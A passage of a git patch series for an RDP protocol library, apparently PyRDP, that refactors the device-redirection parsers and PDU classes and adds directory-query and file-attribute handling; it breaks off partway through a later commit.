- component = DeviceRedirectionComponent(unpack) - packetId = DeviceRedirectionPacketID(Uint16LE.unpack(stream)) - - if component == DeviceRedirectionComponent.RDPDR_CTYP_PRN: - log.warning("Received Printing component packets, which are not handled. Might cause a crash.") + component = DeviceRedirectionComponent(Uint16LE.unpack(stream)) + packetID = DeviceRedirectionPacketID(Uint16LE.unpack(stream)) - if packetId in self.parsers.keys(): - return self.parsers[packetId](stream) + if component == DeviceRedirectionComponent.RDPDR_CTYP_CORE and packetID in self.parsers.keys(): + return self.parsers[packetID](stream) else: - return DeviceRedirectionPDU(component, packetId, payload=stream.read()) + return DeviceRedirectionPDU(component, packetID, payload=stream.read()) def write(self, pdu: DeviceRedirectionPDU) -> bytes: stream = BytesIO() Uint16LE.pack(pdu.component, stream) Uint16LE.pack(pdu.packetID, stream) - if pdu.packetID in self.writers.keys(): + if pdu.component == DeviceRedirectionComponent.RDPDR_CTYP_CORE and pdu.packetID in self.writers.keys(): self.writers[pdu.packetID](pdu, stream) else: stream.write(pdu.payload) @@ -91,112 +104,58 @@ def write(self, pdu: DeviceRedirectionPDU) -> bytes: return stream.getvalue() - - def parseDeviceIORequest(self, stream: BytesIO) -> DeviceIORequestPDU: - """ - Starts after the rdpdr header. - """ - deviceId = Uint32LE.unpack(stream) - fileId = Uint32LE.unpack(stream) - completionId = Uint32LE.unpack(stream) - majorFunction = MajorFunction(Uint32LE.unpack(stream)) - minorFunction = Uint32LE.unpack(stream) - - if majorFunction in self.ioRequestParsers.keys(): - return self.ioRequestParsers[majorFunction](deviceId, fileId, completionId, minorFunction, stream) - else: - return DeviceIORequestPDU(deviceId, fileId, completionId, majorFunction, minorFunction, payload=stream.read()) - - def writeDeviceIORequest(self, pdu: DeviceIORequestPDU, stream: BytesIO): - Uint32LE.pack(pdu.deviceID, stream) - Uint32LE.pack(pdu.fileID, stream) - Uint32LE.pack(pdu.completionID, stream) - Uint32LE.pack(pdu.majorFunction, stream) - Uint32LE.pack(pdu.minorFunction, stream) - - if pdu.majorFunction in self.ioRequestWriters.keys(): - self.ioRequestWriters[pdu.majorFunction](pdu, stream) - else: - stream.write(pdu.payload) - - - - def parseDeviceIOResponse(self, stream: BytesIO) -> DeviceIOResponsePDU: - """ - Starts after the rdpdr header. - """ - deviceId = Uint32LE.unpack(stream) - completionId = Uint32LE.unpack(stream) - ioStatus = Uint32LE.unpack(stream) - payload = stream.read() - - return DeviceIOResponsePDU(deviceId, completionId, ioStatus, payload=payload) - - def writeDeviceIOResponse(self, pdu: DeviceIOResponsePDU, stream: BytesIO): - Uint32LE.pack(pdu.deviceID, stream) - Uint32LE.pack(pdu.completionID, stream) - Uint32LE.pack(pdu.ioStatus, stream) - - if type(pdu) in self.ioResponseWriters.keys(): - self.ioResponseWriters[type(pdu)](pdu, stream) - else: - stream.write(pdu.payload) - - - def parseDeviceListAnnounce(self, stream: BytesIO) -> DeviceListAnnounceRequest: deviceCount = Uint32LE.unpack(stream) - deviceList = [] - - for i in range(deviceCount): - deviceList.append(self.parseSingleDeviceAnnounce(stream)) - + deviceList = [self.parseDeviceAnnounce(stream) for _ in range(deviceCount)] return DeviceListAnnounceRequest(deviceList) def writeDeviceListAnnounce(self, pdu: DeviceListAnnounceRequest, stream: BytesIO): Uint32LE.pack(len(pdu.deviceList), stream) for device in pdu.deviceList: - self.writeSingleDeviceAnnounce(device, stream) + self.writeDeviceAnnounce(device, stream) - def parseSingleDeviceAnnounce(self, stream: BytesIO): + def parseDeviceAnnounce(self, stream: BytesIO) -> DeviceAnnounce: deviceType = DeviceType(Uint32LE.unpack(stream)) - deviceId = Uint32LE.unpack(stream) - preferredDosName = stream.read(8) + deviceID = Uint32LE.unpack(stream) + preferredDOSName = stream.read(8) deviceDataLength = Uint32LE.unpack(stream) deviceData = stream.read(deviceDataLength) - return DeviceAnnounce(deviceType, deviceId, preferredDosName, deviceData) + preferredDOSName = preferredDOSName.decode(errors = "ignore")[: 7] + endIndex = preferredDOSName.index("\x00") + + if endIndex >= 0: + preferredDOSName = preferredDOSName[: endIndex] + + return DeviceAnnounce(deviceType, deviceID, preferredDOSName, deviceData) - def writeSingleDeviceAnnounce(self, pdu: DeviceAnnounce, stream: BytesIO): + def writeDeviceAnnounce(self, pdu: DeviceAnnounce, stream: BytesIO): Uint32LE.pack(pdu.deviceType, stream) Uint32LE.pack(pdu.deviceID, stream) - stream.write(pdu.preferredDosName) + stream.write(pdu.preferredDOSName.encode().ljust(7, b"\x00")[: 7] + b"\x00") Uint32LE.pack(len(pdu.deviceData), stream) stream.write(pdu.deviceData) def parseClientCapabilities(self, stream: BytesIO) -> DeviceRedirectionClientCapabilitiesPDU: - numCapabilities = Uint16LE.unpack(stream) - stream.read(2) # Padding - capabilities = self.parseCapabilities(numCapabilities, stream) - + capabilities = self.parseCapabilities(stream) return DeviceRedirectionClientCapabilitiesPDU(capabilities) def parseServerCapabilities(self, stream: BytesIO) -> DeviceRedirectionServerCapabilitiesPDU: + capabilities = self.parseCapabilities(stream) + return DeviceRedirectionServerCapabilitiesPDU(capabilities) + + def parseCapabilities(self, stream: BytesIO) -> Dict[RDPDRCapabilityType, DeviceRedirectionCapability]: numCapabilities = Uint16LE.unpack(stream) stream.read(2) # Padding - capabilities = self.parseCapabilities(numCapabilities, stream) - return DeviceRedirectionServerCapabilitiesPDU(capabilities) - - def parseCapabilities(self, numCapabilities: int, stream: BytesIO) -> Dict[RDPDRCapabilityType, DeviceRedirectionCapability]: capabilities = {} - for i in range(numCapabilities): - capabilityType, capability = self.parseSingleCapability(stream) - capabilities[capabilityType] = capability + for _ in range(numCapabilities): + capability = self.parseCapability(stream) + capabilities[capability.capabilityType] = capability return capabilities @@ -205,28 +164,26 @@ def writeCapabilities(self, pdu: DeviceRedirectionCapabilitiesPDU, stream: Bytes stream.write(b"\x00" * 2) # Padding for capability in pdu.capabilities.values(): - self.writeSingleCapability(capability, stream) + self.writeCapability(capability, stream) - def parseSingleCapability(self, stream: BytesIO) -> Tuple[RDPDRCapabilityType, DeviceRedirectionCapability]: - """ - https://msdn.microsoft.com/en-us/library/cc241325.aspx - """ + + def parseCapability(self, stream: BytesIO) -> DeviceRedirectionCapability: capabilityType = RDPDRCapabilityType(Uint16LE.unpack(stream)) capabilityLength = Uint16LE.unpack(stream) version = Uint32LE.unpack(stream) payload = stream.read(capabilityLength - 8) - if capabilityType == RDPDRCapabilityType.CAP_GENERAL_TYPE: - return capabilityType, self.parseGeneralCapability(version, payload) + if capabilityType in self.capabilityParsers: + return self.capabilityParsers[capabilityType](version, payload) else: - return capabilityType, DeviceRedirectionCapability(capabilityType, version, payload=payload) + return DeviceRedirectionCapability(capabilityType, version, payload) - def writeSingleCapability(self, capability: DeviceRedirectionCapability, stream: BytesIO): + def writeCapability(self, capability: DeviceRedirectionCapability, stream: BytesIO): Uint16LE.pack(capability.capabilityType, stream) substream = BytesIO() - if isinstance(capability, DeviceRedirectionGeneralCapability): - self.writeGeneralCapability(capability, substream) + if capability.capabilityType in self.capabilityWriters: + self.capabilityWriters[capability.capabilityType](capability, substream) else: substream.write(capability.payload) @@ -234,6 +191,7 @@ def writeSingleCapability(self, capability: DeviceRedirectionCapability, stream: Uint32LE.pack(capability.version, stream) stream.write(substream.getvalue()) + def parseGeneralCapability(self, version: int, payload: bytes) -> DeviceRedirectionGeneralCapability: stream = BytesIO(payload) osType = Uint32LE.unpack(stream) @@ -250,9 +208,19 @@ def parseGeneralCapability(self, version: int, payload: bytes) -> DeviceRedirect if version == GeneralCapabilityVersion.GENERAL_CAPABILITY_VERSION_02: specialTypeDeviceCap = Uint32LE.unpack(stream) - return DeviceRedirectionGeneralCapability(version, osType, osVersion, protocolMajorVersion, - protocolMinorVersion, ioCode1, ioCode2, extendedPDU, extraFlags1, - extraFlags2, specialTypeDeviceCap) + return DeviceRedirectionGeneralCapability( + version, + osType, + osVersion, + protocolMajorVersion, + protocolMinorVersion, + ioCode1, + ioCode2, + extendedPDU, + extraFlags1, + extraFlags2, + specialTypeDeviceCap + ) def writeGeneralCapability(self, capability: DeviceRedirectionGeneralCapability, stream: BytesIO): Uint32LE.pack(capability.osType, stream) @@ -266,14 +234,66 @@ def writeGeneralCapability(self, capability: DeviceRedirectionGeneralCapability, Uint32LE.pack(capability.extraFlags2, stream) if capability.version == GeneralCapabilityVersion.GENERAL_CAPABILITY_VERSION_02: - Uint32LE.pack(capability.specialTypeDeviceCap, stream) + Uint32LE.pack(capability.specialTypeDeviceCap or 0, stream) + def parseDeviceIORequest(self, stream: BytesIO) -> DeviceIORequestPDU: + deviceID = Uint32LE.unpack(stream) + fileID = Uint32LE.unpack(stream) + completionID = Uint32LE.unpack(stream) + majorFunction = MajorFunction(Uint32LE.unpack(stream)) + minorFunction = Uint32LE.unpack(stream) + + if majorFunction == MajorFunction.IRP_MJ_DIRECTORY_CONTROL: + minorFunction = MinorFunction(minorFunction) - def parseDeviceCreateRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, stream: BytesIO) -> DeviceCreateRequestPDU: - """ - Starting at desiredAccess. - """ + if majorFunction in self.ioRequestParsers.keys(): + self.majorFunctionsForParsingResponse[completionID] = majorFunction + return self.ioRequestParsers[majorFunction](deviceID, fileID, completionID, minorFunction, stream) + else: + return DeviceIORequestPDU(deviceID, fileID, completionID, majorFunction, minorFunction, payload=stream.read()) + + def writeDeviceIORequest(self, pdu: DeviceIORequestPDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.fileID, stream) + Uint32LE.pack(pdu.completionID, stream) + Uint32LE.pack(pdu.majorFunction, stream) + Uint32LE.pack(pdu.minorFunction, stream) + + if pdu.majorFunction in self.ioRequestWriters.keys(): + # Make sure to register the PDU's major function when we write too, in case this is a forged PDU. + self.majorFunctionsForParsingResponse[pdu.completionID] = pdu.majorFunction + self.ioRequestWriters[pdu.majorFunction](pdu, stream) + else: + stream.write(pdu.payload) + + + def parseDeviceIOResponse(self, stream: BytesIO) -> DeviceIOResponsePDU: + deviceID = Uint32LE.unpack(stream) + completionID = Uint32LE.unpack(stream) + ioStatus = Uint32LE.unpack(stream) + + majorFunction = self.majorFunctionsForParsingResponse.pop(completionID, None) + + if majorFunction in self.ioResponseParsers: + return self.ioResponseParsers[majorFunction](deviceID, completionID, ioStatus, stream) + else: + # If for some reason, we don't know this completionID, we also return a raw response PDU (because majorFunction is None). + payload = stream.read() + return DeviceIOResponsePDU(majorFunction, deviceID, completionID, ioStatus, payload) + + def writeDeviceIOResponse(self, pdu: DeviceIOResponsePDU, stream: BytesIO): + Uint32LE.pack(pdu.deviceID, stream) + Uint32LE.pack(pdu.completionID, stream) + Uint32LE.pack(pdu.ioStatus, stream) + + if pdu.majorFunction in self.ioResponseWriters: + self.ioResponseWriters[pdu.majorFunction](pdu, stream) + else: + stream.write(pdu.payload) + + + def parseDeviceCreateRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceCreateRequestPDU: desiredAccess = Uint32LE.unpack(stream) allocationSize = Uint64LE.unpack(stream) fileAttributes = Uint32LE.unpack(stream) @@ -283,8 +303,19 @@ def parseDeviceCreateRequest(self, deviceId: int, fileId: int, completionId: int pathLength = Uint32LE.unpack(stream) path = stream.read(pathLength) - return DeviceCreateRequestPDU(deviceId, fileId, completionId, minorFunction, desiredAccess, allocationSize, - fileAttributes, sharedAccess, createDisposition, createOptions, path) + return DeviceCreateRequestPDU( + deviceID, + fileID, + completionID, + minorFunction, + desiredAccess, + allocationSize, + fileAttributes, + sharedAccess, + createDisposition, + createOptions, + path + ) def writeDeviceCreateRequest(self, pdu: DeviceCreateRequestPDU, stream: BytesIO): Uint32LE.pack(pdu.desiredAccess, stream) @@ -297,15 +328,34 @@ def writeDeviceCreateRequest(self, pdu: DeviceCreateRequestPDU, stream: BytesIO) stream.write(pdu.path) - - def parseDeviceReadRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, stream: BytesIO) -> DeviceReadRequestPDU: + def parseDeviceCreateResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceCreateResponsePDU: """ - Starting at length, just before offset + The information field is not yet parsed (it's optional). + This one is a bit special since we need to look at previous packet before parsing it as + a read response, and we need the packet data. """ + fileID = Uint32LE.unpack(stream) + information = stream.read(1) + + if information == "": + information = 0 + else: + information = Uint8.unpack(information) + + return DeviceCreateResponsePDU(deviceID, completionID, ioStatus, fileID, information) + + def writeDeviceCreateResponse(self, pdu: DeviceCreateResponsePDU, stream: BytesIO): + Uint32LE.pack(pdu.fileID, stream) + Uint8.pack(pdu.information) + + + + def parseDeviceReadRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceReadRequestPDU: length = Uint32LE.unpack(stream) offset = Uint64LE.unpack(stream) + stream.read(20) # Padding - return DeviceReadRequestPDU(deviceId, fileId, completionId, minorFunction, length, offset) + return DeviceReadRequestPDU(deviceID, fileID, completionID, minorFunction, length, offset) def writeDeviceReadRequest(self, pdu: DeviceReadRequestPDU, stream: BytesIO): Uint32LE.pack(pdu.length, stream) @@ -313,49 +363,55 @@ def writeDeviceReadRequest(self, pdu: DeviceReadRequestPDU, stream: BytesIO): stream.write(b"\x00" * 20) # Padding + def parseDeviceReadResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceReadResponsePDU: + length = Uint32LE.unpack(stream) + payload = stream.read(length) - def parseDeviceCloseRequest(self, deviceId: int, fileId: int, completionId: int, minorFunction: int, _: BytesIO) -> DeviceCloseRequestPDU: - return DeviceCloseRequestPDU(deviceId, fileId, completionId, minorFunction) + return DeviceReadResponsePDU(deviceID, completionID, ioStatus, payload) - def writeDeviceCloseRequest(self, _: DeviceCloseRequestPDU, stream: BytesIO): - stream.write(b"\x00" * 32) # Padding + def writeDeviceReadResponse(self, pdu: DeviceReadResponsePDU, stream: BytesIO): + Uint32LE.pack(len(pdu.payload), stream) + stream.write(pdu.payload) + def parseDeviceCloseRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceCloseRequestPDU: + stream.read(32) # Padding + return DeviceCloseRequestPDU(deviceID, fileID, completionID, minorFunction) - def parseDeviceCreateResponse(self, pdu: DeviceIOResponsePDU) -> DeviceCreateResponsePDU: - """ - The information field is not yet parsed (it's optional). - This one is a bit special since we need to look at previous packet before parsing it as - a read response, and we need the packet data. - """ - stream = BytesIO(pdu.payload) - fileId = Uint32LE.unpack(stream) - information = stream.read() - - return DeviceCreateResponsePDU(pdu.deviceID, pdu.completionID, pdu.ioStatus, fileId, information) + def writeDeviceCloseRequest(self, _: DeviceCloseRequestPDU, stream: BytesIO): + stream.write(b"\x00" * 32) # Padding - def writeDeviceCreateResponse(self, pdu: DeviceCreateResponsePDU, stream: BytesIO): - Uint32LE.pack(pdu.fileID, stream) - stream.write(pdu.information) + def parseDeviceCloseResponse(self, deviceID: int, completionID: int, ioStatus: int, stream: BytesIO) -> DeviceCloseResponsePDU: + stream.read(4) # Padding + return DeviceCloseResponsePDU(deviceID, completionID, ioStatus) + def writeDeviceCloseResponse(self, _: DeviceCloseResponsePDU, stream: BytesIO): + stream.write(b"\x00" * 4) # Padding - def parseDeviceReadResponse(self, pdu: DeviceIOResponsePDU) -> DeviceReadResponsePDU: - """ - Starts at length (just before readData). This one is a bit special since we need - to look at previous packet before parsing it as a read response, and we need the packet data. - """ - stream = BytesIO(pdu.payload) - length = Uint32LE.unpack(stream) - readData = stream.read(length) - return DeviceReadResponsePDU(pdu.deviceID, pdu.completionID, pdu.ioStatus, readData) + def parseDirectoryControlRequest(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, stream: BytesIO) -> DeviceIORequestPDU: + if minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + return DeviceIORequestPDU(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, minorFunction, stream.read()) + else: + informationClass = FileSystemInformationClass(Uint32LE.unpack(stream)) + initialQuery = Uint8.unpack(stream) + pathLength = Uint32LE.unpack(stream) + stream.read(23) - def writeDeviceReadResponse(self, pdu: DeviceReadResponsePDU, stream: BytesIO): - Uint32LE.pack(len(pdu.readData), stream) - stream.write(pdu.readData) + path = stream.read(pathLength) + path = decodeUTF16LE(path)[: -1] + return DeviceQueryDirectoryRequest(deviceID, fileID, completionID, informationClass, initialQuery, path) + def writeDirectoryControlRequest(self, pdu: Union[DeviceIORequestPDU, DeviceQueryDirectoryRequest], stream: BytesIO): + if pdu.minorFunction == MinorFunction.IRP_MN_NOTIFY_CHANGE_DIRECTORY: + stream.write(pdu.payload) + else: + path = (pdu.path + "\x00").encode("utf-16le") - def writeDeviceCloseResponse(self, _: DeviceCloseResponsePDU, stream: BytesIO): - stream.write(b"\x00" * 4) # Padding \ No newline at end of file + Uint32LE.pack(pdu.informationClass, stream) + Uint8.pack(pdu.initialQuery, stream) + Uint32LE.pack(len(path), stream) + stream.write(b"\x00" * 23) + stream.write(path) \ No newline at end of file diff --git a/pyrdp/pdu/__init__.py b/pyrdp/pdu/__init__.py index ea9aedee0..a78d8a3a5 100644 --- a/pyrdp/pdu/__init__.py +++ b/pyrdp/pdu/__init__.py @@ -41,10 +41,10 @@ from pyrdp.pdu.rdp.virtual_channel.clipboard import ClipboardPDU, FormatDataRequestPDU, FormatDataResponsePDU, \ FormatListPDU, FormatListResponsePDU, FormatName, LongFormatName, ServerMonitorReadyPDU, ShortFormatName from pyrdp.pdu.rdp.virtual_channel.device_redirection import DeviceAnnounce, DeviceCloseRequestPDU, \ - DeviceCloseResponsePDU, DeviceCreateRequestPDU, DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ - DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceReadResponsePDU, DeviceRedirectionCapabilitiesPDU, \ - DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, \ - DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU + DeviceCloseResponsePDU, DeviceQueryDirectoryRequest, DeviceCreateRequestPDU, DeviceCreateResponsePDU, \ + DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, DeviceReadResponsePDU, \ + DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, DeviceRedirectionClientCapabilitiesPDU, \ + DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, DeviceRedirectionServerCapabilitiesPDU from pyrdp.pdu.rdp.virtual_channel.virtual_channel import VirtualChannelPDU from pyrdp.pdu.segmentation import SegmentationPDU from pyrdp.pdu.tpkt import TPKTPDU diff --git a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py index b1e19d8f3..3ad1a14ab 100644 --- a/pyrdp/pdu/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/pdu/rdp/virtual_channel/device_redirection.py @@ -4,10 +4,11 @@ # Licensed under the GPLv3 or later. # -from typing import Dict, List +from typing import Dict, List, Optional -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, MajorFunction, RDPDRCapabilityType -from pyrdp.pdu.pdu import PDU +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileSystemInformationClass, \ + MajorFunction, MinorFunction, RDPDRCapabilityType +from pyrdp.pdu import PDU class DeviceRedirectionPDU(PDU): @@ -21,20 +22,6 @@ def __init__(self, component: int, packetID: int, payload=b""): self.packetID: DeviceRedirectionPacketID = DeviceRedirectionPacketID(packetID) -class DeviceIOResponsePDU(DeviceRedirectionPDU): - """ - https://msdn.microsoft.com/en-us/library/cc241334.aspx - """ - - def __init__(self, deviceID: int, completionID: int, ioStatus: int, payload=b""): - super().__init__(DeviceRedirectionComponent.RDPDR_CTYP_CORE, - DeviceRedirectionPacketID.PAKID_CORE_DEVICE_IOCOMPLETION) - self.deviceID = deviceID - self.completionID = completionID - self.ioStatus = ioStatus - self.payload = payload - - class DeviceIORequestPDU(DeviceRedirectionPDU): """ https://msdn.microsoft.com/en-us/library/cc241327.aspx @@ -49,26 +36,18 @@ def __init__(self, deviceID: int, fileID: int, completionID: int, majorFunction: self.minorFunction = minorFunction -class DeviceReadResponsePDU(DeviceIOResponsePDU): - """ - https://msdn.microsoft.com/en-us/library/cc241337.aspx - """ - - def __init__(self, deviceID: int, completionID: int, ioStatus: int, readData: bytes): - super().__init__(deviceID, completionID, ioStatus) - self.readData = readData - - -class DeviceReadRequestPDU(DeviceIORequestPDU): +class DeviceIOResponsePDU(DeviceRedirectionPDU): """ - https://msdn.microsoft.com/en-us/library/cc241330.aspx + https://msdn.microsoft.com/en-us/library/cc241334.aspx """ - def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, - length: int, offset: int): - super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_READ, minorFunction) - self.length = length - self.offset = offset + def __init__(self, majorFunction: Optional[MajorFunction], deviceID: int, completionID: int, ioStatus: int, payload=b""): + super().__init__(DeviceRedirectionComponent.RDPDR_CTYP_CORE, DeviceRedirectionPacketID.PAKID_CORE_DEVICE_IOCOMPLETION) + self.majorFunction = majorFunction + self.deviceID = deviceID + self.completionID = completionID + self.ioStatus = ioStatus + self.payload = payload class DeviceCreateRequestPDU(DeviceIORequestPDU): @@ -94,12 +73,33 @@ class DeviceCreateResponsePDU(DeviceIOResponsePDU): https://msdn.microsoft.com/en-us/library/cc241335.aspx """ - def __init__(self, deviceID: int, completionID: int, ioStatus: int, fileID: int, information: bytes= b""): - super().__init__(deviceID, completionID, ioStatus) + def __init__(self, deviceID: int, completionID: int, ioStatus: int, fileID: int, information: int): + super().__init__(MajorFunction.IRP_MJ_CREATE, deviceID, completionID, ioStatus) self.fileID = fileID self.information = information +class DeviceReadRequestPDU(DeviceIORequestPDU): + """ + https://msdn.microsoft.com/en-us/library/cc241330.aspx + """ + + def __init__(self, deviceID: int, fileID: int, completionID: int, minorFunction: int, + length: int, offset: int): + super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_READ, minorFunction) + self.length = length + self.offset = offset + + +class DeviceReadResponsePDU(DeviceIOResponsePDU): + """ + https://msdn.microsoft.com/en-us/library/cc241337.aspx + """ + + def __init__(self, deviceID: int, completionID: int, ioStatus: int, readData: bytes): + super().__init__(MajorFunction.IRP_MJ_READ, deviceID, completionID, ioStatus, readData) + + class DeviceCloseRequestPDU(DeviceIORequestPDU): """ https://msdn.microsoft.com/en-us/library/cc241329.aspx @@ -115,7 +115,15 @@ class DeviceCloseResponsePDU(DeviceIOResponsePDU): """ def __init__(self, deviceID: int, completionID: int, ioStatus: int): - super().__init__(deviceID, completionID, ioStatus) + super().__init__(MajorFunction.IRP_MJ_CLOSE, deviceID, completionID, ioStatus) + + +class DeviceQueryDirectoryRequest(DeviceIORequestPDU): + def __init__(self, deviceID: int, fileID: int, completionID: int, informationClass: FileSystemInformationClass, initialQuery: int, path: str): + super().__init__(deviceID, fileID, completionID, MajorFunction.IRP_MJ_DIRECTORY_CONTROL, MinorFunction.IRP_MN_QUERY_DIRECTORY) + self.informationClass = informationClass + self.initialQuery = initialQuery + self.path = path class DeviceAnnounce(PDU): @@ -123,11 +131,11 @@ class DeviceAnnounce(PDU): https://msdn.microsoft.com/en-us/library/cc241326.aspx """ - def __init__(self, deviceType: DeviceType, deviceID: int, preferredDosName: bytes, deviceData: bytes): + def __init__(self, deviceType: DeviceType, deviceID: int, preferredDOSName: str, deviceData: bytes): super().__init__() self.deviceID = deviceID self.deviceType = deviceType - self.preferredDosName = preferredDosName + self.preferredDOSName = preferredDOSName self.deviceData = deviceData @@ -158,7 +166,7 @@ class DeviceRedirectionGeneralCapability(DeviceRedirectionCapability): def __init__(self, version: int, osType: int, osVersion: int, protocolMajorVersion: int, protocolMinorVersion: int, ioCode1: int, ioCode2: int, extendedPDU: int, extraFlags1: int, - extraFlags2: int, specialTypeDeviceCap: int): + extraFlags2: int, specialTypeDeviceCap: Optional[int]): super().__init__(RDPDRCapabilityType.CAP_GENERAL_TYPE, version) self.osType = osType self.osVersion = osVersion From cc2ee522d983dbd9a7cbfd1067737fed9f7c49d9 Mon Sep 17 00:00:00 2001 From: Francis Labelle Date: Mon, 15 Apr 2019 19:27:27 -0400 Subject: [PATCH 081/113] Parse directory query response data --- pyrdp/enum/__init__.py | 4 +- .../virtual_channel/device_redirection.py | 22 +- .../rdp/virtual_channel/device_redirection.py | 353 +++++++++++++++++- pyrdp/pdu/__init__.py | 9 +- .../rdp/virtual_channel/device_redirection.py | 83 +++- 5 files changed, 451 insertions(+), 20 deletions(-) diff --git a/pyrdp/enum/__init__.py b/pyrdp/enum/__init__.py index 8130acfa6..847b9d212 100644 --- a/pyrdp/enum/__init__.py +++ b/pyrdp/enum/__init__.py @@ -15,7 +15,7 @@ from pyrdp.enum.virtual_channel.clipboard import ClipboardFormatName, ClipboardFormatNumber, ClipboardMessageFlags, \ ClipboardMessageType from pyrdp.enum.virtual_channel.device_redirection import CreateOption, DeviceRedirectionComponent, \ - DeviceRedirectionPacketID, DeviceType, FileAccess, FileSystemInformationClass, GeneralCapabilityVersion, \ - IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType + DeviceRedirectionPacketID, DeviceType, FileAccess, FileAttributes, FileSystemInformationClass, \ + GeneralCapabilityVersion, IOOperationSeverity, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.enum.virtual_channel.virtual_channel import VirtualChannelPDUFlag from pyrdp.enum.x224 import X224PDUType diff --git a/pyrdp/enum/virtual_channel/device_redirection.py b/pyrdp/enum/virtual_channel/device_redirection.py index d9262c31f..18dca576a 100644 --- a/pyrdp/enum/virtual_channel/device_redirection.py +++ b/pyrdp/enum/virtual_channel/device_redirection.py @@ -4,7 +4,7 @@ # Licensed under the GPLv3 or later. # -from enum import IntEnum +from enum import IntEnum, IntFlag class DeviceRedirectionComponent(IntEnum): @@ -180,4 +180,22 @@ class FileSystemInformationClass(IntEnum): FileDirectoryInformation = 0x00000001 FileFullDirectoryInformation = 0x00000002 FileBothDirectoryInformation = 0x00000003 - FileNamesInformation = 0x0000000C \ No newline at end of file + FileNamesInformation = 0x0000000C + + +class FileAttributes(IntFlag): + FILE_ATTRIBUTE_ARCHIVE = 0x00000020 + FILE_ATTRIBUTE_COMPRESSED = 0x00000800 + FILE_ATTRIBUTE_DIRECTORY = 0x00000010 + FILE_ATTRIBUTE_ENCRYPTED = 0x00004000 + FILE_ATTRIBUTE_HIDDEN = 0x00000002 + FILE_ATTRIBUTE_NORMAL = 0x00000080 + FILE_ATTRIBUTE_NOT_CONTENT_INDEXED = 0x00002000 + FILE_ATTRIBUTE_OFFLINE = 0x00001000 + FILE_ATTRIBUTE_READONLY = 0x00000001 + FILE_ATTRIBUTE_REPARSE_POINT = 0x00000400 + FILE_ATTRIBUTE_SPARSE_FILE = 0x00000200 + FILE_ATTRIBUTE_SYSTEM = 0x00000004 + FILE_ATTRIBUTE_TEMPORARY = 0x00000100 + FILE_ATTRIBUTE_INTEGRITY_STREAM = 0x00008000 + FILE_ATTRIBUTE_NO_SCRUB_DATA = 0x00020000 \ No newline at end of file diff --git a/pyrdp/parser/rdp/virtual_channel/device_redirection.py b/pyrdp/parser/rdp/virtual_channel/device_redirection.py index 2174f260b..e02833cfc 100644 --- a/pyrdp/parser/rdp/virtual_channel/device_redirection.py +++ b/pyrdp/parser/rdp/virtual_channel/device_redirection.py @@ -5,18 +5,19 @@ # from io import BytesIO -from typing import Dict, Union +from typing import Dict, List, Union from pyrdp.core import decodeUTF16LE, Uint16LE, Uint32LE, Uint64LE, Uint8 -from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileSystemInformationClass, \ - GeneralCapabilityVersion, MajorFunction, MinorFunction, RDPDRCapabilityType +from pyrdp.enum import DeviceRedirectionComponent, DeviceRedirectionPacketID, DeviceType, FileAttributes, \ + FileSystemInformationClass, GeneralCapabilityVersion, MajorFunction, MinorFunction, RDPDRCapabilityType from pyrdp.parser import Parser from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \ - DeviceCreateResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, DeviceListAnnounceRequest, DeviceReadRequestPDU, \ + DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \ + DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \ DeviceReadResponsePDU, DeviceRedirectionCapabilitiesPDU, DeviceRedirectionCapability, \ DeviceRedirectionClientCapabilitiesPDU, DeviceRedirectionGeneralCapability, DeviceRedirectionPDU, \ - DeviceRedirectionServerCapabilitiesPDU -from pyrdp.pdu.rdp.virtual_channel.device_redirection import DeviceQueryDirectoryRequest + DeviceRedirectionServerCapabilitiesPDU, FileBothDirectoryInformation, FileDirectoryInformation, \ + FileFullDirectoryInformation, FileNamesInformation class DeviceRedirectionParser(Parser): @@ -69,16 +70,34 @@ def __init__(self): MajorFunction.IRP_MJ_CREATE: self.parseDeviceCreateResponse, MajorFunction.IRP_MJ_READ: self.parseDeviceReadResponse, MajorFunction.IRP_MJ_CLOSE: self.parseDeviceCloseResponse, + MajorFunction.IRP_MJ_DIRECTORY_CONTROL: self.parseDirectoryControlResponse, } self.ioResponseWriters: Dict[MajorFunction, callable] = { MajorFunction.IRP_MJ_CREATE: self.writeDeviceCreateResponse, 